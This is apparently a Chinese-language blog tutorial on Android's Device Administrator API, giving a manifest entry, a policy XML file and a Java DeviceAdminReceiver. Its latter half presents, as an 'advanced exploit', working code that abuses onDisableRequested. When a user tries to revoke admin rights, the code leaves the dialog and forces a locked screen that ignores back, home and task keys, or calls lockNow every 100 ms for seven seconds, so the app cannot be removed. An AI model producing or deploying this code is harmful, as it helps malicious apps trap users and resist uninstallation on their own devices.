关于安卓的设备管理器和设备管理器漏洞的使用
1.先在配置文件中加入
<receiver android:name=".MyAdmin">
<meta-data android:name="android.app.device_admin"
android:resource="@xml/my_admin" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
2.用于配置的xml文件my_admin.
<?xml version="1.0" encoding="utf-8"?>
<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
<uses-policies>
<limit-password />
<watch-login />
<reset-password />
<force-lock />
<wipe-data />
</uses-policies>
</device-admin>
3.java代码
public class MyAdmin extends DeviceAdminReceiver {
@Override
public void onReceive(Context context, Intent intent) {
super.onReceive(context, intent);
// Intent i = new Intent(context, MainActivity.class);
// i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
// context.startActivity(i);
Log.e("autosetting", "receiver onReceive");
}
/**
* 获取设备存储的数值
*
* @param context
* @return
*/
public static SharedPreferences getDevicePreference(Context context) {
return context.getSharedPreferences(DeviceMyReceiver.class.getName(), 0);
}
// 密码的特点
public static String PREF_PASSWORD_QUALITY = "password_quality";
// 密码的长度
public static String PREF_PASSWORD_LENGTH = "password_length";
public static String PREF_MAX_FAILED_PW = "max_failed_pw";
void showToast(Context context, CharSequence text) {
Toast.makeText(context, text, Toast.LENGTH_SHORT).show();
}
@Override
public void onEnabled(Context context, Intent intent) {
showToast(context, "设备管理:可用");
}
@Override
public void onDisabled(Context context, Intent intent) {
showToast(context, "设备管理:不可用");
}
@Override
public CharSequence onDisableRequested(Context context, Intent intent) {
// 这里处理 不可编辑设备。
Intent intent2 = new Intent(context, NoticeSetting.class);
intent2.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(intent2);
context.stopService(intent);// 是否可以停止
return ""; // "这是一个可选的消息,警告有关禁止用户的请求";
}
@Override
public void onPasswordChanged(Context context, Intent intent) {
showToast(context, "设备管理:密码己经改变");
}
@Override
public void onPasswordFailed(Context context, Intent intent) {
showToast(context, "设备管理:改变密码失败");
}
@Override
public void onPasswordSucceeded(Context context, Intent intent) {
showToast(context, "设备管理:改变密码成功");
}
}
核心代码为 onDisableRequested方法可以做很作操作。正常情况下是取消勾选时,提示用户一句话。这里 context.stopService(intent);我把设置界面给关了。然后呢 跳转到制定死机界面 NoticeSetting。NoticeSetting界面按键任何都不管用(重写返回键,home键和任务键),只能重启。。
进阶漏洞利用
–利用设备管理器的漏洞 重写DeviceAdminReceiver的onDisableRequested 只要用户点击取消启动
onDisableRequested 的locknow 再休眠7秒
public CharSequence onDisableRequested(Context context, Intent intent) {
//跳离当前询问是否取消激活的 dialog
Intent outOfDialog = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");
outOfDialog.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(outOfDialog);
//调用设备管理器本身的功能,每 100ms 锁屏一次,用户即便解锁也会立即被锁,直至 7s 后
final DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);
dpm.lockNow();
new Thread(new Runnable() {
@Override
public void run() {
int i = 0;
while (i < 70) {
dpm.lockNow();
try {
Thread.sleep(100);
i++;
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}).start();
return "";
}
参考:
http://2bab.me/2015/02/09/app-cannot-be-uninstalled/
http://blog.csdn.net/androidsecurity/article/details/9124747